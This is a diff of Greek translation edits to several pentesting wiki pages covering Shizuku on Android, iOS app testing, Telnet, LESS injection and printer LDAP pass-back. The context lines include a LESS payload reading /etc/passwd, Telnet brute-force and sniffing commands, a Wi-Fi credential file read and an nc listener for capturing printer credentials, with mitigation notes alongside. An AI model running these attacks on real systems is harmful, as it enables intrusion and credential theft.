Το Shizuku είναι μια υπηρεσία ανοιχτού κώδικα που **δημιουργεί μια προνομιούχα διαδικασία Java χρησιμοποιώντας το `app_process`** και εκθέτει επιλεγμένα **Android system APIs μέσω Binder**. Επειδή η διαδικασία εκκινείται με τις ίδιες **ικανότητες UID `shell` που χρησιμοποιεί το ADB**, οποιαδήποτε εφαρμογή (ή τερματικό) που συνδέεται στη εξαγόμενη διεπαφή AIDL μπορεί να εκτελέσει πολλές ενέργειες που κανονικά απαιτούν **`WRITE_SECURE_SETTINGS`, `INSTALL_PACKAGES`, είσοδο/έξοδο αρχείων μέσα στο `/data`,** κ.λπ. – **χωρίς να χρειάζεται να κάνετε root τη συσκευή**.
|
||||
|
||||
Τυπικές περιπτώσεις χρήσης:
|
||||
* Ασφαλής επιθεώρηση από ένα μη ριζωμένο κινητό
|
||||
* Ασφαλής επιθεώρηση από μια συσκευή χωρίς root
|
||||
* Αφαίρεση bloatware / αποσυμπίεση συστημικών εφαρμογών
|
||||
* Συλλογή καταγραφών, κωδικών Wi-Fi, πληροφοριών διαδικασίας και υποδοχών για blue-team/DFIR
|
||||
* Αυτοματοποίηση της διαμόρφωσης της συσκευής από προσαρμοσμένες εφαρμογές ή scripts shell
|
||||
@ -17,7 +17,7 @@
|
||||
|
||||
### 1.1 Ασύρματο ADB (Android 11+)
|
||||
1. Ενεργοποιήστε **Επιλογές προγραμματιστή ➜ Ασύρματη αποσφαλμάτωση** και ζευγαρώστε τη συσκευή.
|
||||
2. Μέσα στην εφαρμογή Shizuku επιλέξτε **“Έναρξη μέσω ασύρματης αποσφαλμάτωσης”** και αντιγράψτε τον κωδικό ζευγαρώματος.
|
||||
2. Μέσα στην εφαρμογή Shizuku επιλέξτε **“Έναρξη μέσω Ασύρματης αποσφαλμάτωσης”** και αντιγράψτε τον κωδικό ζευγαρώματος.
|
||||
3. Η υπηρεσία επιβιώνει μέχρι την επόμενη επανεκκίνηση (οι συνεδρίες ασύρματης αποσφαλμάτωσης διαγράφονται κατά την εκκίνηση).
|
||||
|
||||
### 1.2 USB / τοπικό ADB one-liner
|
||||
@ -39,10 +39,10 @@ su -c sh /data/adb/shizuku/start.sh
|
||||
```bash
|
||||
adb shell dumpsys activity service moe.shizuku.privileged.api | head
|
||||
```
|
||||
Μια επιτυχής εκκίνηση επιστρέφει `Running services (1)` μαζί με το PID της προνομιούχου διαδικασίας.
|
||||
Ένα επιτυχές ξεκίνημα επιστρέφει `Running services (1)` μαζί με το PID της προνομιούχου διαδικασίας.
|
||||
|
||||
---
|
||||
## 2. Σύνδεση από μια εφαρμογή
|
||||
## 2. Δέσμευση από μια εφαρμογή
|
||||
Οι εφαρμογές τρίτων χρειάζονται μόνο τα εξής μέσα στο `AndroidManifest.xml`:
|
||||
```xml
|
||||
<uses-permission android:name="moe.shizuku.manager.permission.API"/>
|
||||
@ -76,7 +76,7 @@ id # uid=2000(shell) gid=2000(shell) groups=... context=u:r:shell:s0
|
||||
```bash
|
||||
ps -A | grep com.facebook.katana
|
||||
```
|
||||
* Καταμέτρηση ακουστικών sockets και αντιστοίχιση τους σε πακέτα (π.χ. **CVE-2019-6447 ES File Explorer**):
|
||||
* Καταμέτρηση ακροατών sockets και αντιστοίχιση τους σε πακέτα (π.χ. **CVE-2019-6447 ES File Explorer**):
|
||||
```bash
|
||||
netstat -tuln
|
||||
for pid in $(lsof -nP -iTCP -sTCP:LISTEN -t); do
|
||||
@ -87,7 +87,7 @@ done
|
||||
```bash
|
||||
logcat -d | grep -iE "(error|exception)"
|
||||
```
|
||||
* Ανάγνωση αποθηκευμένων πιστοποιητικών Wi-Fi (Android 11 +):
|
||||
* Ανάγνωση αποθηκευμένων διαπιστευτηρίων Wi-Fi (Android 11 +):
|
||||
```bash
|
||||
cat /data/misc/wifi/WifiConfigStore.xml | grep -i "<ConfigKey>"
|
||||
```
|
||||
@ -109,7 +109,7 @@ pm uninstall --user 0 com.miui.weather2
|
||||
---
|
||||
## 5. Μετριασμός
|
||||
* Απενεργοποιήστε την USB/Ασύρματη αποσφαλμάτωση σε συσκευές παραγωγής.
|
||||
* Παρακολουθήστε για υπηρεσίες Binder που εκθέτουν `moe.shizuku.privileged.api`.
|
||||
* Παρακολουθήστε για υπηρεσίες Binder που εκθέτουν το `moe.shizuku.privileged.api`.
|
||||
* Χρησιμοποιήστε πολιτικές SELinux (Android enterprise) για να αποκλείσετε τη διεπαφή AIDL από μη διαχειριζόμενες εφαρμογές.
|
||||
|
||||
---
|
||||
|
@ -21,7 +21,7 @@
|
||||
5. Μετά την κλικ στο Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή.
|
||||
6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε.
|
||||
|
||||
Ελέγξτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία.
|
||||
Δείτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία.
|
||||
|
||||
### Αποκρυπτογράφηση της εφαρμογής
|
||||
|
||||
@ -48,7 +48,7 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Για να επαναυπογράψετε την εφαρμογή με το δικαίωμα `get-task-allow`, υπάρχουν διάφορα εργαλεία διαθέσιμα όπως το `app-signer`, το `codesign` και το `iResign`. Το `app-signer` έχει μια πολύ φιλική προς το χρήστη διεπαφή που επιτρέπει να επαναυπογράψετε πολύ εύκολα ένα αρχείο IPA υποδεικνύοντας το IPA που θέλετε να επαναυπογράψετε, να **θέσετε το `get-task-allow`** και το πιστοποιητικό και το προφίλ παροχής που θα χρησιμοποιήσετε.
|
||||
Για να επαναυπογράψετε την εφαρμογή με το δικαίωμα `get-task-allow`, υπάρχουν διάφορα εργαλεία διαθέσιμα όπως το `app-signer`, `codesign` και `iResign`. Το `app-signer` έχει μια πολύ φιλική προς το χρήστη διεπαφή που επιτρέπει να επαναυπογράψετε πολύ εύκολα ένα αρχείο IPA υποδεικνύοντας το IPA που θέλετε να επαναυπογράψετε, να **θέσετε το `get-task-allow`** και το πιστοποιητικό και το προφίλ παροχής που θα χρησιμοποιήσετε.
|
||||
|
||||
Όσον αφορά το πιστοποιητικό και τα προφίλ υπογραφής, η Apple προσφέρει **δωρεάν προφίλ υπογραφής προγραμματιστών** για όλους τους λογαριασμούς μέσω του Xcode. Απλώς δημιουργήστε μια εφαρμογή και ρυθμίστε ένα. Στη συνέχεια, ρυθμίστε το **iPhone να εμπιστεύεται τις εφαρμογές προγραμματιστών** πηγαίνοντας στις `Ρυθμίσεις` → `Απόρρητο & Ασφάλεια`, και κάντε κλικ στο `Developer Mode`.
|
||||
|
||||
@ -63,7 +63,7 @@ ideviceinstaller -i resigned.ipa -w
|
||||
Από το iOS 16, η Apple εισήγαγε τη **Λειτουργία Προγραμματιστή**: οποιοδήποτε δυαδικό αρχείο που φέρει `get_task_allow` *ή* είναι υπογεγραμμένο με πιστοποιητικό ανάπτυξης θα αρνηθεί να εκκινήσει μέχρι να ενεργοποιηθεί η Λειτουργία Προγραμματιστή στη συσκευή. Δεν θα μπορείτε επίσης να συνδέσετε το Frida/LLDB εκτός αν αυτή η σημαία είναι ενεργοποιημένη.
|
||||
|
||||
1. Εγκαταστήστε ή σπρώξτε **οποιοδήποτε** υπογεγραμμένο από προγραμματιστή IPA στο τηλέφωνο.
|
||||
2. Μεταβείτε στις **Ρυθμίσεις → Ιδιωτικότητα & Ασφάλεια → Λειτουργία Προγραμματιστή** και ενεργοποιήστε την.
|
||||
2. Μεταβείτε σε **Ρυθμίσεις → Ιδιωτικότητα & Ασφάλεια → Λειτουργία Προγραμματιστή** και ενεργοποιήστε την.
|
||||
3. Η συσκευή θα επανεκκινήσει; μετά την εισαγωγή του κωδικού πρόσβασης θα σας ζητηθεί να **Ενεργοποιήσετε** τη Λειτουργία Προγραμματιστή.
|
||||
|
||||
Η Λειτουργία Προγραμματιστή παραμένει ενεργή μέχρι να την απενεργοποιήσετε ή να διαγράψετε το τηλέφωνο, οπότε αυτό το βήμα χρειάζεται να εκτελείται μόνο μία φορά ανά συσκευή. [Η τεκμηρίωση της Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) εξηγεί τις επιπτώσεις ασφαλείας.
|
||||
@ -77,7 +77,7 @@ ideviceinstaller -i resigned.ipa -w
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux συνοδευτικό που ξαναυπογράφει το IPA κάθε 7 ημέρες με δωρεάν προφίλ ανάπτυξης | Αυτόματη επαναφόρτωση μέσω Wi-Fi, λειτουργεί μέχρι iOS 17 | Χρειάζεται υπολογιστής στο ίδιο δίκτυο, περιορισμός 3 εφαρμογών που επιβάλλεται από την Apple |
|
||||
| **TrollStore 1/2** | Συσκευή σε iOS 14 – 15.4.1 ευάλωτη στο σφάλμα CoreTrust | *Μόνιμη* υπογραφή (χωρίς περιορισμό 7 ημερών); δεν απαιτεί υπολογιστή μόλις εγκατασταθεί | Δεν υποστηρίζεται σε iOS 15.5+ (το σφάλμα έχει διορθωθεί) |
|
||||
|
||||
Για τακτικές δοκιμές pentest σε τρέχουσες εκδόσεις iOS, οι Alt/Side-Store είναι συνήθως η πιο πρακτική επιλογή.
|
||||
Για τακτικές δοκιμές pentesting σε τρέχουσες εκδόσεις iOS, οι Alt/Side-Store είναι συνήθως η πιο πρακτική επιλογή.
|
||||
|
||||
### Hooking / δυναμική εργαλειακή υποστήριξη
|
||||
|
||||
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
|
||||
### Αυτοματοποιημένη δυναμική ανάλυση με MobSF (χωρίς jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) μπορεί να εργάζεται με ένα dev-signed IPA σε μια πραγματική συσκευή χρησιμοποιώντας την ίδια τεχνική (`get_task_allow`) και παρέχει ένα web UI με εξερευνητή συστήματος αρχείων, καταγραφή κυκλοφορίας και κονσόλα Frida【】. Ο γρηγορότερος τρόπος είναι να τρέξετε το MobSF σε Docker και στη συνέχεια να συνδέσετε το iPhone σας μέσω USB:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) μπορεί να ενσωματώσει ένα dev-signed IPA σε μια πραγματική συσκευή χρησιμοποιώντας την ίδια τεχνική (`get_task_allow`) και παρέχει ένα web UI με πρόγραμμα περιήγησης συστήματος αρχείων, καταγραφή κυκλοφορίας και κονσόλα Frida【】. Ο γρηγορότερος τρόπος είναι να τρέξετε το MobSF σε Docker και στη συνέχεια να συνδέσετε το iPhone σας μέσω USB:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
Το Telnet είναι ένα πρωτόκολλο δικτύου που δίνει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου.
|
||||
Το Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 23
|
||||
```
|
||||
@ -25,7 +25,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
|
||||
Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ.
|
||||
|
||||
**Ξέρω ότι είναι δυνατόν να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
|
||||
**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#telnet)
|
||||
|
||||
@ -73,7 +73,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Υπερχείλιση buffer βάσει στοίβας στην εντολή Telnet CLI `passwd` επιτρέπει σε έναν γειτονικό επιτιθέμενο να παρακάμψει την αυθεντικοποίηση και να εκτελέσει αυθαίρετο κώδικα ως root.
|
||||
* **CVE-2022-39028 – GNU inetutils telnetd**: Μια ακολουθία δύο byte (`0xff 0xf7` / `0xff 0xf8`) ενεργοποιεί μια αναφορά NULL-pointer που μπορεί να καταρρεύσει το `telnetd`, οδηγώντας σε μόνιμο DoS μετά από αρκετές καταρρεύσεις.
|
||||
|
||||
Κρατήστε αυτές τις CVEs στο μυαλό σας κατά τη διάρκεια της τριχοτόμησης ευπαθειών—αν ο στόχος εκτελεί un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε έναν απλό δρόμο προς την εκτέλεση κώδικα ή μια διαταραχή DoS.
|
||||
Κρατήστε αυτές τις CVEs στο μυαλό σας κατά τη διάρκεια της τριχοτόμησης ευπαθειών—αν ο στόχος εκτελεί un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε μια απλή διαδρομή για εκτέλεση κώδικα ή μια διαταραχή DoS.
|
||||
|
||||
### Υποκλοπή Διαπιστευτηρίων & Man-in-the-Middle
|
||||
|
||||
@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
|
||||
# Wireshark display filter
|
||||
tcp.port == 23 && (telnet.data || telnet.option)
|
||||
```
|
||||
Για ενεργό MITM, συνδυάστε την παραπλάνηση ARP (π.χ. `arpspoof`/`ettercap`) με τα ίδια φίλτρα sniffing για να συλλέξετε κωδικούς πρόσβασης σε δίκτυα με διακόπτες.
|
||||
Για ενεργό MITM, συνδυάστε την παραπλάνηση ARP (π.χ. `arpspoof`/`ettercap`) με τα ίδια φίλτρα υποκλοπής για να συλλέξετε κωδικούς πρόσβασης σε δίκτυα με διακόπτες.
|
||||
|
||||
### Αυτοματοποιημένη Βία / Ψεκασμός Κωδικών Πρόσβασης
|
||||
```bash
|
||||
@ -98,9 +98,9 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
|
||||
# Medusa (parallel hosts)
|
||||
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
||||
```
|
||||
Οι περισσότερες IoT botnets (παραλλαγές Mirai) σκανάρουν ακόμα την πόρτα 23 με μικρές λεξικοθήκες προεπιλεγμένων διαπιστευτηρίων—η αντανάκλαση αυτής της λογικής μπορεί γρήγορα να εντοπίσει αδύνατες συσκευές.
|
||||
Οι περισσότερες IoT botnets (παραλλαγές Mirai) εξακολουθούν να σκανάρουν την πόρτα 23 με μικρές λεξικοθήκες προεπιλεγμένων διαπιστευτηρίων—η αντανάκλαση αυτής της λογικής μπορεί γρήγορα να εντοπίσει αδύνατες συσκευές.
|
||||
|
||||
### Εκμετάλλευση & Μετα-Εκμετάλλευση
|
||||
### Εκμετάλλευση & Μετα-εκμετάλλευση
|
||||
|
||||
Το Metasploit έχει αρκετά χρήσιμα modules:
|
||||
|
||||
@ -109,13 +109,13 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE κατά ευάλωτου Solaris 9/10 Telnet (διαχείριση επιλογής ENCRYPT).
|
||||
* `exploit/linux/mips/netgear_telnetenable` – ενεργοποιεί την υπηρεσία telnet με ένα κατασκευασμένο πακέτο σε πολλές συσκευές NETGEAR.
|
||||
|
||||
Αφού αποκτηθεί ένα shell, θυμηθείτε ότι **οι TTYs είναι συνήθως ανόητοι**; αναβαθμίστε με `python -c 'import pty;pty.spawn("/bin/bash")'` ή χρησιμοποιήστε τα [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md).
|
||||
Αφού αποκτηθεί ένα shell, θυμηθείτε ότι **οι TTY είναι συνήθως ανόητες**; αναβαθμίστε με `python -c 'import pty;pty.spawn("/bin/bash")'` ή χρησιμοποιήστε τα [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md).
|
||||
|
||||
### Σκληροποίηση & Ανίχνευση (Γωνία μπλε ομάδας)
|
||||
|
||||
1. Προτιμήστε το SSH και απενεργοποιήστε εντελώς την υπηρεσία Telnet.
|
||||
2. Εάν απαιτείται το Telnet, συνδέστε το μόνο σε VLAN διαχείρισης, επιβάλετε ACLs και τυλίξτε τον δαίμονα με TCP wrappers (`/etc/hosts.allow`).
|
||||
3. Αντικαταστήστε τις παλιές υλοποιήσεις `telnetd` με `ssl-telnet` ή `telnetd-ssl` για να προσθέσετε κρυπτογράφηση μεταφοράς, αλλά **αυτό προστατεύει μόνο τα δεδομένα σε μεταφορά—η μαντεψιά κωδικών παραμένει απλή**.
|
||||
3. Αντικαταστήστε τις παλιές υλοποιήσεις `telnetd` με `ssl-telnet` ή `telnetd-ssl` για να προσθέσετε κρυπτογράφηση μεταφοράς, αλλά **αυτό προστατεύει μόνο τα δεδομένα κατά τη μεταφορά—η μαντεψιά κωδικών παραμένει απλή**.
|
||||
4. Παρακολουθήστε την εξερχόμενη κίνηση προς την πόρτα 23; οι παραβιάσεις συχνά δημιουργούν αντίστροφα shells μέσω Telnet για να παρακάμψουν αυστηρά φίλτρα εξόδου HTTP.
|
||||
|
||||
## Αναφορές
|
||||
|
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
## Επισκόπηση
|
||||
|
||||
LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή εντολή `@import`. Κατά τη διάρκεια της μεταγλώττισης, η μηχανή LESS θα **ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις `@import`** και θα ενσωματώσει ("inline") το περιεχόμενό τους στο παραγόμενο CSS όταν χρησιμοποιείται η επιλογή `(inline)`.
|
||||
LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή οδηγία `@import`. Κατά τη διάρκεια της μεταγλώττισης, η μηχανή LESS θα **ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις `@import`** και θα ενσωματώσει ("inline") το περιεχόμενό τους στο παραγόμενο CSS όταν χρησιμοποιείται η επιλογή `(inline)`.
|
||||
|
||||
Όταν μια εφαρμογή συνδυάζει **είσοδο που ελέγχεται από τον χρήστη** σε μια συμβολοσειρά που αργότερα αναλύεται από τον μεταγλωττιστή LESS, ένας επιτιθέμενος μπορεί να **εισάγει αυθαίρετο κώδικα LESS**. Εκμεταλλευόμενος το `@import (inline)`, ο επιτιθέμενος μπορεί να αναγκάσει τον διακομιστή να ανακτήσει:
|
||||
Όταν μια εφαρμογή συνδυάζει **είσοδο που ελέγχεται από τον χρήστη** σε μια συμβολοσειρά που αναλύεται αργότερα από τον μεταγλωττιστή LESS, ένας επιτιθέμενος μπορεί να **εισάγει αυθαίρετο κώδικα LESS**. Εκμεταλλευόμενος το `@import (inline)`, ο επιτιθέμενος μπορεί να αναγκάσει τον διακομιστή να ανακτήσει:
|
||||
|
||||
* Τοπικά αρχεία μέσω του πρωτοκόλλου `file://` (αποκάλυψη πληροφοριών / Τοπική Συμπερίληψη Αρχείων).
|
||||
* Απομακρυσμένους πόρους σε εσωτερικά δίκτυα ή υπηρεσίες μεταδεδομένων cloud (SSRF).
|
||||
|
||||
Αυτή η τεχνική έχει παρατηρηθεί σε πραγματικά προϊόντα όπως το **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
|
||||
|
||||
## Exploitation
|
||||
## Εκμετάλλευση
|
||||
|
||||
1. Εντοπίστε μια παράμετρο που είναι άμεσα ενσωματωμένη μέσα σε μια συμβολοσειρά στυλ που επεξεργάζεται η μηχανή LESS (π.χ. `?lm=` στο SugarCRM).
|
||||
2. Κλείστε τη τρέχουσα δήλωση και εισάγετε νέες εντολές. Οι πιο κοινές πρωτογενείς είναι:
|
||||
2. Κλείστε τη τρέχουσα δήλωση και εισάγετε νέες οδηγίες. Οι πιο κοινές πρωτογενείς είναι:
|
||||
* `;` – τερματίζει την προηγούμενη δήλωση.
|
||||
* `}` – κλείνει το προηγούμενο μπλοκ (αν απαιτείται).
|
||||
3. Χρησιμοποιήστε `@import (inline) '<URL>';` για να διαβάσετε αυθαίρετους πόρους.
|
||||
4. Προαιρετικά, εισάγετε μια **σημείωση** (`data:` URI) μετά την εισαγωγή για να διευκολύνετε την εξαγωγή του ανακτηθέντος περιεχομένου από το μεταγλωττισμένο CSS.
|
||||
4. Προαιρετικά, εισάγετε μια **σημείωση** (`data:` URI) μετά την εισαγωγή για να διευκολύνετε την εξαγωγή του περιεχομένου που ανακτήθηκε από το μεταγλωττισμένο CSS.
|
||||
|
||||
### Local File Read
|
||||
### Τοπική Ανάγνωση Αρχείων
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
@ -49,14 +49,14 @@ sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Ανίχνευση
|
||||
|
||||
* Αναζητήστε δυναμικά παραγόμενες απαντήσεις `.less` ή `.css` που περιέχουν μη απολυμανμένες παραμέτρους ερωτήματος.
|
||||
* Κατά την ανασκόπηση κώδικα, αναζητήστε κατασκευές όπως `"@media all { .preview { ... ${userInput} ... } }"` που περνιούνται σε συναρτήσεις απόδοσης LESS.
|
||||
* Αναζητήστε δυναμικά παραγόμενες απαντήσεις `.less` ή `.css` που περιέχουν μη καθαρισμένες παραμέτρους ερωτήματος.
|
||||
* Κατά την ανασκόπηση του κώδικα, αναζητήστε κατασκευές όπως `"@media all { .preview { ... ${userInput} ... } }"` που περνιούνται σε συναρτήσεις απόδοσης LESS.
|
||||
* Οι απόπειρες εκμετάλλευσης συχνά περιλαμβάνουν `@import`, `(inline)`, `file://`, `http://169.254.169.254`, κ.λπ.
|
||||
|
||||
## Μετριασμοί
|
||||
|
||||
* Μην περνάτε μη αξιόπιστα δεδομένα στον μεταγλωττιστή LESS.
|
||||
* Εάν απαιτούνται δυναμικές τιμές, απολυμάνετε/καθαρίστε τις σωστά (π.χ., περιορίστε σε αριθμητικά tokens, λευκές λίστες).
|
||||
* Εάν απαιτούνται δυναμικές τιμές, καθαρίστε/αποστειρώστε τις σωστά (π.χ., περιορίστε σε αριθμητικά tokens, λευκές λίστες).
|
||||
* Απενεργοποιήστε, όταν είναι δυνατόν, τη δυνατότητα χρήσης `(inline)` εισαγωγών ή περιορίστε τα επιτρεπόμενα πρωτόκολλα σε `https`.
|
||||
* Διατηρήστε τις εξαρτήσεις ενημερωμένες – η SugarCRM διόρθωσε αυτό το ζήτημα στις εκδόσεις 13.0.4 και 14.0.1.
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Υπάρχουν αρκετά blogs στο Διαδίκτυο που **τονίζουν τους κινδύνους του να αφήνεις τους εκτυπωτές ρυθμισμένους με LDAP με προεπιλεγμένα/αδύναμα** διαπιστευτήρια σύνδεσης. \
|
||||
Υπάρχουν αρκετά blogs στο Διαδίκτυο που **τονίζουν τους κινδύνους του να αφήνουμε τους εκτυπωτές ρυθμισμένους με LDAP με προεπιλεγμένα/αδύναμα** διαπιστευτήρια σύνδεσης. \
|
||||
Αυτό συμβαίνει επειδή ένας επιτιθέμενος θα μπορούσε να **παραπλανήσει τον εκτυπωτή να πιστοποιηθεί σε έναν κακόβουλο LDAP server** (συνήθως ένα `nc -vv -l -p 389` ή `slapd -d 2` είναι αρκετό) και να καταγράψει τα **διαπιστευτήρια του εκτυπωτή σε καθαρό κείμενο**.
|
||||
|
||||
Επίσης, αρκετοί εκτυπωτές θα περιέχουν **αρχεία καταγραφής με ονόματα χρηστών** ή θα μπορούσαν ακόμη και να είναι σε θέση να **κατεβάσουν όλα τα ονόματα χρηστών** από τον Domain Controller.
|
||||
@ -19,7 +19,7 @@
|
||||
|
||||
- **Τοποθεσία**: Η λίστα των LDAP servers συνήθως βρίσκεται στη διαδικτυακή διεπαφή (π.χ. *Δίκτυο ➜ Ρύθμιση LDAP ➜ Ρύθμιση LDAP*).
|
||||
- **Συμπεριφορά**: Πολλοί ενσωματωμένοι διαδικτυακοί διακομιστές επιτρέπουν τροποποιήσεις LDAP server **χωρίς να απαιτείται εκ νέου εισαγωγή διαπιστευτηρίων** (χαρακτηριστικό χρηστικότητας → κίνδυνος ασφάλειας).
|
||||
- **Εκμετάλλευση**: Ανακατεύθυνση της διεύθυνσης του LDAP server σε έναν ελεγχόμενο από τον επιτιθέμενο υπολογιστή και χρήση του κουμπιού *Δοκιμή Σύνδεσης* / *Συγχρονισμός Καταλόγου* για να αναγκάσεις τον εκτυπωτή να συνδεθεί σε εσένα.
|
||||
- **Εκμετάλλευση**: Ανακατευθύνετε τη διεύθυνση του LDAP server σε έναν ελεγχόμενο από τον επιτιθέμενο υπολογιστή και χρησιμοποιήστε το κουμπί *Δοκιμή Σύνδεσης* / *Συγχρονισμός Καταλόγου* για να αναγκάσετε τον εκτυπωτή να συνδεθεί σε εσάς.
|
||||
|
||||
---
|
||||
## Καταγραφή Διαπιστευτηρίων
|
||||
@ -48,13 +48,13 @@ slapd -d 2 -h "ldap:///" # only LDAP, no LDAPS
|
||||
---
|
||||
## Πρόσφατες Ευπάθειες Pass-Back (2024-2025)
|
||||
|
||||
Το pass-back *δεν είναι* θεωρητικό ζήτημα – οι προμηθευτές συνεχίζουν να δημοσιεύουν συμβουλές το 2024/2025 που περιγράφουν ακριβώς αυτή την κατηγορία επιθέσεων.
|
||||
Το pass-back *δεν είναι* θεωρητικό ζήτημα – οι προμηθευτές συνεχίζουν να δημοσιεύουν ανακοινώσεις το 2024/2025 που περιγράφουν ακριβώς αυτή την κατηγορία επιθέσεων.
|
||||
|
||||
### Xerox VersaLink – CVE-2024-12510 & CVE-2024-12511
|
||||
|
||||
Το firmware ≤ 57.69.91 των Xerox VersaLink C70xx MFPs επέτρεψε σε έναν αυθεντικοποιημένο διαχειριστή (ή σε οποιονδήποτε όταν παραμένουν τα προεπιλεγμένα διαπιστευτήρια) να:
|
||||
Το firmware ≤ 57.69.91 των Xerox VersaLink C70xx MFPs επέτρεπε σε έναν αυθεντικοποιημένο διαχειριστή (ή σε οποιονδήποτε όταν παραμένουν τα προεπιλεγμένα διαπιστευτήρια) να:
|
||||
|
||||
* **CVE-2024-12510 – LDAP pass-back**: αλλάξει τη διεύθυνση του LDAP server και να ενεργοποιήσει μια αναζήτηση, προκαλώντας τη συσκευή να διαρρεύσει τα διαπιστευτήρια Windows που έχουν ρυθμιστεί στον ελεγχόμενο από τον επιτιθέμενο υπολογιστή.
|
||||
* **CVE-2024-12510 – LDAP pass-back**: αλλάξει τη διεύθυνση του διακομιστή LDAP και να ενεργοποιήσει μια αναζήτηση, προκαλώντας τη διαρροή των ρυθμισμένων Windows διαπιστευτηρίων στον ελεγχόμενο από τον επιτιθέμενο υπολογιστή.
|
||||
* **CVE-2024-12511 – SMB/FTP pass-back**: ταυτόσημο ζήτημα μέσω *scan-to-folder* προορισμών, διαρρέοντας NetNTLMv2 ή FTP διαπιστευτήρια σε καθαρό κείμενο.
|
||||
|
||||
Ένας απλός ακροατής όπως:
|
||||
@ -81,17 +81,17 @@ sudo nc -k -v -l -p 389 # capture LDAP bind
|
||||
| **PRET** (Printer Exploitation Toolkit) | Κατάχρηση PostScript/PJL/PCL, πρόσβαση στο σύστημα αρχείων, έλεγχος προεπιλεγμένων διαπιστευτηρίων, *ανακάλυψη SNMP* | `python pret.py 192.168.1.50 pjl` |
|
||||
| **Praeda** | Συλλογή διαμόρφωσης (συμπεριλαμβανομένων των διευθύνσεων και των διαπιστευτηρίων LDAP) μέσω HTTP/HTTPS | `perl praeda.pl -t 192.168.1.50` |
|
||||
| **Responder / ntlmrelayx** | Σύλληψη & αναμετάδοση NetNTLM hashes από SMB/FTP pass-back | `responder -I eth0 -wrf` |
|
||||
| **impacket-ldapd.py** | Ελαφριά κακόβουλη υπηρεσία LDAP για να δέχεται συνδέσεις σε καθαρό κείμενο | `python ldapd.py -debug` |
|
||||
| **impacket-ldapd.py** | Ελαφρύ κακόβουλο LDAP service για να δέχεται clear-text binds | `python ldapd.py -debug` |
|
||||
|
||||
---
|
